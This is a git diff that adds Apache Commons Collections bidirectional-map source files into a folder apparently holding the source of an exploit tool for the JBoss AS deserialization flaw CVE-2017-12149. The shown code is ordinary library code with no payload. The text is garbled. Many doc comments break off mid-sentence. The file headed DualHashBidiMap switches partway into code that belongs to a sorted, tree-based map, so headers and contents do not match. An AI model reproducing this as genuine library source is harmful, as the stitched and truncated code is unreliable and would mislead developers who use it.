+ }
+
+ public Object removeValue(Object value) {
+ return getBidiMap().removeValue(value);
+ }
+
+ public BidiMap inverseBidiMap() {
+ return getBidiMap().inverseBidiMap();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/AbstractDualBidiMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/AbstractDualBidiMap.java"
new file mode 100644
index 0000000..96b7450
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/AbstractDualBidiMap.java"
@@ -0,0 +1,725 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bidimap;
+
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+
+import org.apache.commons.collections.BidiMap;
+import org.apache.commons.collections.MapIterator;
+import org.apache.commons.collections.ResettableIterator;
+import org.apache.commons.collections.collection.AbstractCollectionDecorator;
+import org.apache.commons.collections.iterators.AbstractIteratorDecorator;
+import org.apache.commons.collections.keyvalue.AbstractMapEntryDecorator;
+
+/**
+ * Abstract
+ * An implementation can be written simply by implementing the
+ *
+ * This constructor remains in place for deserialization.
+ * All other usage is deprecated in favour of
+ * {@link #AbstractDualBidiMap(Map, Map)}.
+ */
+ protected AbstractDualBidiMap() {
+ super();
+ maps[0] = createMap();
+ maps[1] = createMap();
+ }
+
+ /**
+ * Creates an empty map using the two maps specified as storage.
+ *
+ * The two maps must be a matching pair, normal and reverse.
+ * They will typically both be empty.
+ *
+ * Neither map is validated, so nulls may be passed in.
+ * If you choose to do this then the subclass constructor must populate
+ * the
+ * This design is deeply flawed and has been deprecated.
+ * It relied on subclass data being used during a superclass constructor.
+ *
+ * @return the map to be used for internal storage
+ * @deprecated For constructors, use the new two map constructor.
+ * For deserialization, populate the maps array directly in readObject.
+ */
+ protected Map createMap() {
+ return null;
+ }
+
+ /**
+ * Creates a new instance of the subclass.
+ *
+ * @param normalMap the normal direction map
+ * @param reverseMap the reverse direction map
+ * @param inverseMap this map, which is the inverse in the new map
+ * @return the inverse map
+ */
+ protected abstract BidiMap createBidiMap(Map normalMap, Map reverseMap, BidiMap inverseMap);
+
+ // Map delegation
+ //-----------------------------------------------------------------------
+ public Object get(Object key) {
+ return maps[0].get(key);
+ }
+
+ public int size() {
+ return maps[0].size();
+ }
+
+ public boolean isEmpty() {
+ return maps[0].isEmpty();
+ }
+
+ public boolean containsKey(Object key) {
+ return maps[0].containsKey(key);
+ }
+
+ public boolean equals(Object obj) {
+ return maps[0].equals(obj);
+ }
+
+ public int hashCode() {
+ return maps[0].hashCode();
+ }
+
+ public String toString() {
+ return maps[0].toString();
+ }
+
+ // BidiMap changes
+ //-----------------------------------------------------------------------
+ public Object put(Object key, Object value) {
+ if (maps[0].containsKey(key)) {
+ maps[1].remove(maps[0].get(key));
+ }
+ if (maps[1].containsKey(value)) {
+ maps[0].remove(maps[1].get(value));
+ }
+ final Object obj = maps[0].put(key, value);
+ maps[1].put(value, key);
+ return obj;
+ }
+
+ public void putAll(Map map) {
+ for (Iterator it = map.entrySet().iterator(); it.hasNext();) {
+ Map.Entry entry = (Map.Entry) it.next();
+ put(entry.getKey(), entry.getValue());
+ }
+ }
+
+ public Object remove(Object key) {
+ Object value = null;
+ if (maps[0].containsKey(key)) {
+ value = maps[0].remove(key);
+ maps[1].remove(value);
+ }
+ return value;
+ }
+
+ public void clear() {
+ maps[0].clear();
+ maps[1].clear();
+ }
+
+ public boolean containsValue(Object value) {
+ return maps[1].containsKey(value);
+ }
+
+ // BidiMap
+ //-----------------------------------------------------------------------
+ /**
+ * Obtains a
+ * The setValue() methods only allow a new value to be set.
+ * If the value being set is already in the map, an IllegalArgumentException
+ * is thrown (as setValue cannot change the size of the map).
+ *
+ * @return a map iterator
+ */
+ public MapIterator mapIterator() {
+ return new BidiMapIterator(this);
+ }
+
+ public Object getKey(Object value) {
+ return maps[1].get(value);
+ }
+
+ public Object removeValue(Object value) {
+ Object key = null;
+ if (maps[1].containsKey(value)) {
+ key = maps[1].remove(value);
+ maps[0].remove(key);
+ }
+ return key;
+ }
+
+ public BidiMap inverseBidiMap() {
+ if (inverseBidiMap == null) {
+ inverseBidiMap = createBidiMap(maps[1], maps[0], this);
+ }
+ return inverseBidiMap;
+ }
+
+ // Map views
+ //-----------------------------------------------------------------------
+ /**
+ * Gets a keySet view of the map.
+ * Changes made on the view are reflected in the map.
+ * The set supports remove and clear but not add.
+ *
+ * @return the keySet view
+ */
+ public Set keySet() {
+ if (keySet == null) {
+ keySet = new KeySet(this);
+ }
+ return keySet;
+ }
+
+ /**
+ * Creates a key set iterator.
+ * Subclasses can override this to return iterators with different properties.
+ *
+ * @param iterator the iterator to decorate
+ * @return the keySet iterator
+ */
+ protected Iterator createKeySetIterator(Iterator iterator) {
+ return new KeySetIterator(iterator, this);
+ }
+
+ /**
+ * Gets a values view of the map.
+ * Changes made on the view are reflected in the map.
+ * The set supports remove and clear but not add.
+ *
+ * @return the values view
+ */
+ public Collection values() {
+ if (values == null) {
+ values = new Values(this);
+ }
+ return values;
+ }
+
+ /**
+ * Creates a values iterator.
+ * Subclasses can override this to return iterators with different properties.
+ *
+ * @param iterator the iterator to decorate
+ * @return the values iterator
+ */
+ protected Iterator createValuesIterator(Iterator iterator) {
+ return new ValuesIterator(iterator, this);
+ }
+
+ /**
+ * Gets an entrySet view of the map.
+ * Changes made on the set are reflected in the map.
+ * The set supports remove and clear but not add.
+ *
+ * The Map Entry setValue() method only allow a new value to be set.
+ * If the value being set is already in the map, an IllegalArgumentException
+ * is thrown (as setValue cannot change the size of the map).
+ *
+ * @return the entrySet view
+ */
+ public Set entrySet() {
+ if (entrySet == null) {
+ entrySet = new EntrySet(this);
+ }
+ return entrySet;
+ }
+
+ /**
+ * Creates an entry set iterator.
+ * Subclasses can override this to return iterators with different properties.
+ *
+ * @param iterator the iterator to decorate
+ * @return the entrySet iterator
+ */
+ protected Iterator createEntrySetIterator(Iterator iterator) {
+ return new EntrySetIterator(iterator, this);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Inner class View.
+ */
+ protected static abstract class View extends AbstractCollectionDecorator {
+
+ /** The parent map */
+ protected final AbstractDualBidiMap parent;
+
+ /**
+ * Constructs a new view of the BidiMap.
+ *
+ * @param coll the collection view being decorated
+ * @param parent the parent BidiMap
+ */
+ protected View(Collection coll, AbstractDualBidiMap parent) {
+ super(coll);
+ this.parent = parent;
+ }
+
+ public boolean removeAll(Collection coll) {
+ if (parent.isEmpty() || coll.isEmpty()) {
+ return false;
+ }
+ boolean modified = false;
+ Iterator it = iterator();
+ while (it.hasNext()) {
+ if (coll.contains(it.next())) {
+ it.remove();
+ modified = true;
+ }
+ }
+ return modified;
+ }
+
+ public boolean retainAll(Collection coll) {
+ if (parent.isEmpty()) {
+ return false;
+ }
+ if (coll.isEmpty()) {
+ parent.clear();
+ return true;
+ }
+ boolean modified = false;
+ Iterator it = iterator();
+ while (it.hasNext()) {
+ if (coll.contains(it.next()) == false) {
+ it.remove();
+ modified = true;
+ }
+ }
+ return modified;
+ }
+
+ public void clear() {
+ parent.clear();
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Inner class KeySet.
+ */
+ protected static class KeySet extends View implements Set {
+
+ /**
+ * Constructs a new view of the BidiMap.
+ *
+ * @param parent the parent BidiMap
+ */
+ protected KeySet(AbstractDualBidiMap parent) {
+ super(parent.maps[0].keySet(), parent);
+ }
+
+ public Iterator iterator() {
+ return parent.createKeySetIterator(super.iterator());
+ }
+
+ public boolean contains(Object key) {
+ return parent.maps[0].containsKey(key);
+ }
+
+ public boolean remove(Object key) {
+ if (parent.maps[0].containsKey(key)) {
+ Object value = parent.maps[0].remove(key);
+ parent.maps[1].remove(value);
+ return true;
+ }
+ return false;
+ }
+ }
+
+ /**
+ * Inner class KeySetIterator.
+ */
+ protected static class KeySetIterator extends AbstractIteratorDecorator {
+
+ /** The parent map */
+ protected final AbstractDualBidiMap parent;
+ /** The last returned key */
+ protected Object lastKey = null;
+ /** Whether remove is allowed at present */
+ protected boolean canRemove = false;
+
+ /**
+ * Constructor.
+ * @param iterator the iterator to decorate
+ * @param parent the parent map
+ */
+ protected KeySetIterator(Iterator iterator, AbstractDualBidiMap parent) {
+ super(iterator);
+ this.parent = parent;
+ }
+
+ public Object next() {
+ lastKey = super.next();
+ canRemove = true;
+ return lastKey;
+ }
+
+ public void remove() {
+ if (canRemove == false) {
+ throw new IllegalStateException("Iterator remove() can only be called once after next()");
+ }
+ Object value = parent.maps[0].get(lastKey);
+ super.remove();
+ parent.maps[1].remove(value);
+ lastKey = null;
+ canRemove = false;
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Inner class Values.
+ */
+ protected static class Values extends View implements Set {
+
+ /**
+ * Constructs a new view of the BidiMap.
+ *
+ * @param parent the parent BidiMap
+ */
+ protected Values(AbstractDualBidiMap parent) {
+ super(parent.maps[0].values(), parent);
+ }
+
+ public Iterator iterator() {
+ return parent.createValuesIterator(super.iterator());
+ }
+
+ public boolean contains(Object value) {
+ return parent.maps[1].containsKey(value);
+ }
+
+ public boolean remove(Object value) {
+ if (parent.maps[1].containsKey(value)) {
+ Object key = parent.maps[1].remove(value);
+ parent.maps[0].remove(key);
+ return true;
+ }
+ return false;
+ }
+ }
+
+ /**
+ * Inner class ValuesIterator.
+ */
+ protected static class ValuesIterator extends AbstractIteratorDecorator {
+
+ /** The parent map */
+ protected final AbstractDualBidiMap parent;
+ /** The last returned value */
+ protected Object lastValue = null;
+ /** Whether remove is allowed at present */
+ protected boolean canRemove = false;
+
+ /**
+ * Constructor.
+ * @param iterator the iterator to decorate
+ * @param parent the parent map
+ */
+ protected ValuesIterator(Iterator iterator, AbstractDualBidiMap parent) {
+ super(iterator);
+ this.parent = parent;
+ }
+
+ public Object next() {
+ lastValue = super.next();
+ canRemove = true;
+ return lastValue;
+ }
+
+ public void remove() {
+ if (canRemove == false) {
+ throw new IllegalStateException("Iterator remove() can only be called once after next()");
+ }
+ super.remove(); // removes from maps[0]
+ parent.maps[1].remove(lastValue);
+ lastValue = null;
+ canRemove = false;
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Inner class EntrySet.
+ */
+ protected static class EntrySet extends View implements Set {
+
+ /**
+ * Constructs a new view of the BidiMap.
+ *
+ * @param parent the parent BidiMap
+ */
+ protected EntrySet(AbstractDualBidiMap parent) {
+ super(parent.maps[0].entrySet(), parent);
+ }
+
+ public Iterator iterator() {
+ return parent.createEntrySetIterator(super.iterator());
+ }
+
+ public boolean remove(Object obj) {
+ if (obj instanceof Map.Entry == false) {
+ return false;
+ }
+ Map.Entry entry = (Map.Entry) obj;
+ Object key = entry.getKey();
+ if (parent.containsKey(key)) {
+ Object value = parent.maps[0].get(key);
+ if (value == null ? entry.getValue() == null : value.equals(entry.getValue())) {
+ parent.maps[0].remove(key);
+ parent.maps[1].remove(value);
+ return true;
+ }
+ }
+ return false;
+ }
+ }
+
+ /**
+ * Inner class EntrySetIterator.
+ */
+ protected static class EntrySetIterator extends AbstractIteratorDecorator {
+
+ /** The parent map */
+ protected final AbstractDualBidiMap parent;
+ /** The last returned entry */
+ protected Map.Entry last = null;
+ /** Whether remove is allowed at present */
+ protected boolean canRemove = false;
+
+ /**
+ * Constructor.
+ * @param iterator the iterator to decorate
+ * @param parent the parent map
+ */
+ protected EntrySetIterator(Iterator iterator, AbstractDualBidiMap parent) {
+ super(iterator);
+ this.parent = parent;
+ }
+
+ public Object next() {
+ last = new MapEntry((Map.Entry) super.next(), parent);
+ canRemove = true;
+ return last;
+ }
+
+ public void remove() {
+ if (canRemove == false) {
+ throw new IllegalStateException("Iterator remove() can only be called once after next()");
+ }
+ // store value as remove may change the entry in the decorator (eg.TreeMap)
+ Object value = last.getValue();
+ super.remove();
+ parent.maps[1].remove(value);
+ last = null;
+ canRemove = false;
+ }
+ }
+
+ /**
+ * Inner class MapEntry.
+ */
+ protected static class MapEntry extends AbstractMapEntryDecorator {
+
+ /** The parent map */
+ protected final AbstractDualBidiMap parent;
+
+ /**
+ * Constructor.
+ * @param entry the entry to decorate
+ * @param parent the parent map
+ */
+ protected MapEntry(Map.Entry entry, AbstractDualBidiMap parent) {
+ super(entry);
+ this.parent = parent;
+ }
+
+ public Object setValue(Object value) {
+ Object key = MapEntry.this.getKey();
+ if (parent.maps[1].containsKey(value) &&
+ parent.maps[1].get(value) != key) {
+ throw new IllegalArgumentException("Cannot use setValue() when the object being set is already in the map");
+ }
+ parent.put(key, value);
+ final Object oldValue = super.setValue(value);
+ return oldValue;
+ }
+ }
+
+ /**
+ * Inner class MapIterator.
+ */
+ protected static class BidiMapIterator implements MapIterator, ResettableIterator {
+
+ /** The parent map */
+ protected final AbstractDualBidiMap parent;
+ /** The iterator being wrapped */
+ protected Iterator iterator;
+ /** The last returned entry */
+ protected Map.Entry last = null;
+ /** Whether remove is allowed at present */
+ protected boolean canRemove = false;
+
+ /**
+ * Constructor.
+ * @param parent the parent map
+ */
+ protected BidiMapIterator(AbstractDualBidiMap parent) {
+ super();
+ this.parent = parent;
+ this.iterator = parent.maps[0].entrySet().iterator();
+ }
+
+ public boolean hasNext() {
+ return iterator.hasNext();
+ }
+
+ public Object next() {
+ last = (Map.Entry) iterator.next();
+ canRemove = true;
+ return last.getKey();
+ }
+
+ public void remove() {
+ if (canRemove == false) {
+ throw new IllegalStateException("Iterator remove() can only be called once after next()");
+ }
+ // store value as remove may change the entry in the decorator (eg.TreeMap)
+ Object value = last.getValue();
+ iterator.remove();
+ parent.maps[1].remove(value);
+ last = null;
+ canRemove = false;
+ }
+
+ public Object getKey() {
+ if (last == null) {
+ throw new IllegalStateException("Iterator getKey() can only be called after next() and before remove()");
+ }
+ return last.getKey();
+ }
+
+ public Object getValue() {
+ if (last == null) {
+ throw new IllegalStateException("Iterator getValue() can only be called after next() and before remove()");
+ }
+ return last.getValue();
+ }
+
+ public Object setValue(Object value) {
+ if (last == null) {
+ throw new IllegalStateException("Iterator setValue() can only be called after next() and before remove()");
+ }
+ if (parent.maps[1].containsKey(value) &&
+ parent.maps[1].get(value) != last.getKey()) {
+ throw new IllegalArgumentException("Cannot use setValue() when the object being set is already in the map");
+ }
+ return parent.put(last.getKey(), value);
+ }
+
+ public void reset() {
+ iterator = parent.maps[0].entrySet().iterator();
+ last = null;
+ canRemove = false;
+ }
+
+ public String toString() {
+ if (last != null) {
+ return "MapIterator[" + getKey() + "=" + getValue() + "]";
+ } else {
+ return "MapIterator[]";
+ }
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/AbstractOrderedBidiMapDecorator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/AbstractOrderedBidiMapDecorator.java"
new file mode 100644
index 0000000..7c930ee
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/AbstractOrderedBidiMapDecorator.java"
@@ -0,0 +1,85 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bidimap;
+
+import org.apache.commons.collections.OrderedBidiMap;
+import org.apache.commons.collections.OrderedMapIterator;
+
+/**
+ * Provides a base decorator that enables additional functionality to be added
+ * to an OrderedBidiMap via decoration.
+ *
+ * Methods are forwarded directly to the decorated map.
+ *
+ * This implementation does not perform any special processing with the map views.
+ * Instead it simply returns the inverse from the wrapped map. This may be
+ * undesirable, for example if you are trying to write a validating implementation
+ * it would provide a loophole around the validation.
+ * But, you might want that loophole, so this class is kept simple.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/02/18 00:57:39 $
+ *
+ * @author Stephen Colebourne
+ */
+public abstract class AbstractOrderedBidiMapDecorator
+ extends AbstractBidiMapDecorator implements OrderedBidiMap {
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param map the map to decorate, must not be null
+ * @throws IllegalArgumentException if the collection is null
+ */
+ protected AbstractOrderedBidiMapDecorator(OrderedBidiMap map) {
+ super(map);
+ }
+
+ /**
+ * Gets the map being decorated.
+ *
+ * @return the decorated map
+ */
+ protected OrderedBidiMap getOrderedBidiMap() {
+ return (OrderedBidiMap) map;
+ }
+
+ //-----------------------------------------------------------------------
+ public OrderedMapIterator orderedMapIterator() {
+ return getOrderedBidiMap().orderedMapIterator();
+ }
+
+ public Object firstKey() {
+ return getOrderedBidiMap().firstKey();
+ }
+
+ public Object lastKey() {
+ return getOrderedBidiMap().lastKey();
+ }
+
+ public Object nextKey(Object key) {
+ return getOrderedBidiMap().nextKey(key);
+ }
+
+ public Object previousKey(Object key) {
+ return getOrderedBidiMap().previousKey(key);
+ }
+
+ public OrderedBidiMap inverseOrderedBidiMap() {
+ return getOrderedBidiMap().inverseOrderedBidiMap();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/AbstractSortedBidiMapDecorator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/AbstractSortedBidiMapDecorator.java"
new file mode 100644
index 0000000..8d870e2
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/AbstractSortedBidiMapDecorator.java"
@@ -0,0 +1,83 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bidimap;
+
+import java.util.Comparator;
+import java.util.SortedMap;
+
+import org.apache.commons.collections.SortedBidiMap;
+
+/**
+ * Provides a base decorator that enables additional functionality to be added
+ * to a SortedBidiMap via decoration.
+ *
+ * Methods are forwarded directly to the decorated map.
+ *
+ * This implementation does not perform any special processing with the map views.
+ * Instead it simply returns the inverse from the wrapped map. This may be
+ * undesirable, for example if you are trying to write a validating implementation
+ * it would provide a loophole around the validation.
+ * But, you might want that loophole, so this class is kept simple.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/02/18 00:57:39 $
+ *
+ * @author Stephen Colebourne
+ */
+public abstract class AbstractSortedBidiMapDecorator
+ extends AbstractOrderedBidiMapDecorator implements SortedBidiMap {
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param map the map to decorate, must not be null
+ * @throws IllegalArgumentException if the collection is null
+ */
+ public AbstractSortedBidiMapDecorator(SortedBidiMap map) {
+ super(map);
+ }
+
+ /**
+ * Gets the map being decorated.
+ *
+ * @return the decorated map
+ */
+ protected SortedBidiMap getSortedBidiMap() {
+ return (SortedBidiMap) map;
+ }
+
+ //-----------------------------------------------------------------------
+ public SortedBidiMap inverseSortedBidiMap() {
+ return getSortedBidiMap().inverseSortedBidiMap();
+ }
+
+ public Comparator comparator() {
+ return getSortedBidiMap().comparator();
+ }
+
+ public SortedMap subMap(Object fromKey, Object toKey) {
+ return getSortedBidiMap().subMap(fromKey, toKey);
+ }
+
+ public SortedMap headMap(Object toKey) {
+ return getSortedBidiMap().headMap(toKey);
+ }
+
+ public SortedMap tailMap(Object fromKey) {
+ return getSortedBidiMap().tailMap(fromKey);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/DualHashBidiMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/DualHashBidiMap.java"
new file mode 100644
index 0000000..a7c0a36
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/DualHashBidiMap.java"
@@ -0,0 +1,106 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bidimap;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.HashMap;
+import java.util.Map;
+
+import org.apache.commons.collections.BidiMap;
+
+/**
+ * Implementation of
+ * Two
+ * NOTE: From Commons Collections 3.1, all subclasses will use
+ * The setValue() method on iterators will succeed only if the new value being set is
+ * not already in the bidimap.
+ *
+ * When considering whether to use this class, the {@link TreeBidiMap} class should
+ * also be considered. It implements the interface using a dedicated design, and does
+ * not store each object twice, which can save on memory use.
+ *
+ * NOTE: From Commons Collections 3.1, all subclasses will use
+ * This implementation copies the elements to an ArrayList in order to
+ * provide the forward/backward behaviour.
+ *
+ * @return a new ordered map iterator
+ */
+ public OrderedMapIterator orderedMapIterator() {
+ return new BidiOrderedMapIterator(this);
+ }
+
+ public SortedBidiMap inverseSortedBidiMap() {
+ return (SortedBidiMap) inverseBidiMap();
+ }
+
+ public OrderedBidiMap inverseOrderedBidiMap() {
+ return (OrderedBidiMap) inverseBidiMap();
+ }
+
+ //-----------------------------------------------------------------------
+ public SortedMap headMap(Object toKey) {
+ SortedMap sub = ((SortedMap) maps[0]).headMap(toKey);
+ return new ViewMap(this, sub);
+ }
+
+ public SortedMap tailMap(Object fromKey) {
+ SortedMap sub = ((SortedMap) maps[0]).tailMap(fromKey);
+ return new ViewMap(this, sub);
+ }
+
+ public SortedMap subMap(Object fromKey, Object toKey) {
+ SortedMap sub = ((SortedMap) maps[0]).subMap(fromKey, toKey);
+ return new ViewMap(this, sub);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Internal sorted map view.
+ */
+ protected static class ViewMap extends AbstractSortedMapDecorator {
+ /** The parent bidi map. */
+ final DualTreeBidiMap bidi;
+
+ /**
+ * Constructor.
+ * @param bidi the parent bidi map
+ * @param sm the subMap sorted map
+ */
+ protected ViewMap(DualTreeBidiMap bidi, SortedMap sm) {
+ // the implementation is not great here...
+ // use the maps[0] as the filtered map, but maps[1] as the full map
+ // this forces containsValue and clear to be overridden
+ super((SortedMap) bidi.createBidiMap(sm, bidi.maps[1], bidi.inverseBidiMap));
+ this.bidi = (DualTreeBidiMap) map;
+ }
+
+ public boolean containsValue(Object value) {
+ // override as default implementation jumps to [1]
+ return bidi.maps[0].containsValue(value);
+ }
+
+ public void clear() {
+ // override as default implementation jumps to [1]
+ for (Iterator it = keySet().iterator(); it.hasNext();) {
+ it.next();
+ it.remove();
+ }
+ }
+
+ public SortedMap headMap(Object toKey) {
+ return new ViewMap(bidi, super.headMap(toKey));
+ }
+
+ public SortedMap tailMap(Object fromKey) {
+ return new ViewMap(bidi, super.tailMap(fromKey));
+ }
+
+ public SortedMap subMap(Object fromKey, Object toKey) {
+ return new ViewMap(bidi, super.subMap(fromKey, toKey));
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Inner class MapIterator.
+ */
+ protected static class BidiOrderedMapIterator implements OrderedMapIterator, ResettableIterator {
+
+ /** The parent map */
+ protected final AbstractDualBidiMap parent;
+ /** The iterator being decorated */
+ protected ListIterator iterator;
+ /** The last returned entry */
+ private Map.Entry last = null;
+
+ /**
+ * Constructor.
+ * @param parent the parent map
+ */
+ protected BidiOrderedMapIterator(AbstractDualBidiMap parent) {
+ super();
+ this.parent = parent;
+ iterator = new ArrayList(parent.entrySet()).listIterator();
+ }
+
+ public boolean hasNext() {
+ return iterator.hasNext();
+ }
+
+ public Object next() {
+ last = (Map.Entry) iterator.next();
+ return last.getKey();
+ }
+
+ public boolean hasPrevious() {
+ return iterator.hasPrevious();
+ }
+
+ public Object previous() {
+ last = (Map.Entry) iterator.previous();
+ return last.getKey();
+ }
+
+ public void remove() {
+ iterator.remove();
+ parent.remove(last.getKey());
+ last = null;
+ }
+
+ public Object getKey() {
+ if (last == null) {
+ throw new IllegalStateException("Iterator getKey() can only be called after next() and before remove()");
+ }
+ return last.getKey();
+ }
+
+ public Object getValue() {
+ if (last == null) {
+ throw new IllegalStateException("Iterator getValue() can only be called after next() and before remove()");
+ }
+ return last.getValue();
+ }
+
+ public Object setValue(Object value) {
+ if (last == null) {
+ throw new IllegalStateException("Iterator setValue() can only be called after next() and before remove()");
+ }
+ if (parent.maps[1].containsKey(value) &&
+ parent.maps[1].get(value) != last.getKey()) {
+ throw new IllegalArgumentException("Cannot use setValue() when the object being set is already in the map");
+ }
+ return parent.put(last.getKey(), value);
+ }
+
+ public void reset() {
+ iterator = new ArrayList(parent.entrySet()).listIterator();
+ last = null;
+ }
+
+ public String toString() {
+ if (last != null) {
+ return "MapIterator[" + getKey() + "=" + getValue() + "]";
+ } else {
+ return "MapIterator[]";
+ }
+ }
+ }
+
+ // Serialization
+ //-----------------------------------------------------------------------
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeObject(maps[0]);
+ }
+
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ maps[0] = new TreeMap(comparator);
+ maps[1] = new TreeMap(comparator);
+ Map map = (Map) in.readObject();
+ putAll(map);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/TreeBidiMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/TreeBidiMap.java"
new file mode 100644
index 0000000..08b924c
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/TreeBidiMap.java"
@@ -0,0 +1,2084 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bidimap;
+
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+import org.apache.commons.collections.BidiMap;
+import org.apache.commons.collections.KeyValue;
+import org.apache.commons.collections.MapIterator;
+import org.apache.commons.collections.OrderedBidiMap;
+import org.apache.commons.collections.OrderedIterator;
+import org.apache.commons.collections.OrderedMapIterator;
+import org.apache.commons.collections.iterators.EmptyOrderedMapIterator;
+import org.apache.commons.collections.keyvalue.UnmodifiableMapEntry;
+
+/**
+ * Red-Black tree-based implementation of BidiMap where all objects added
+ * implement the
+ * This class guarantees that the map will be in both ascending key order
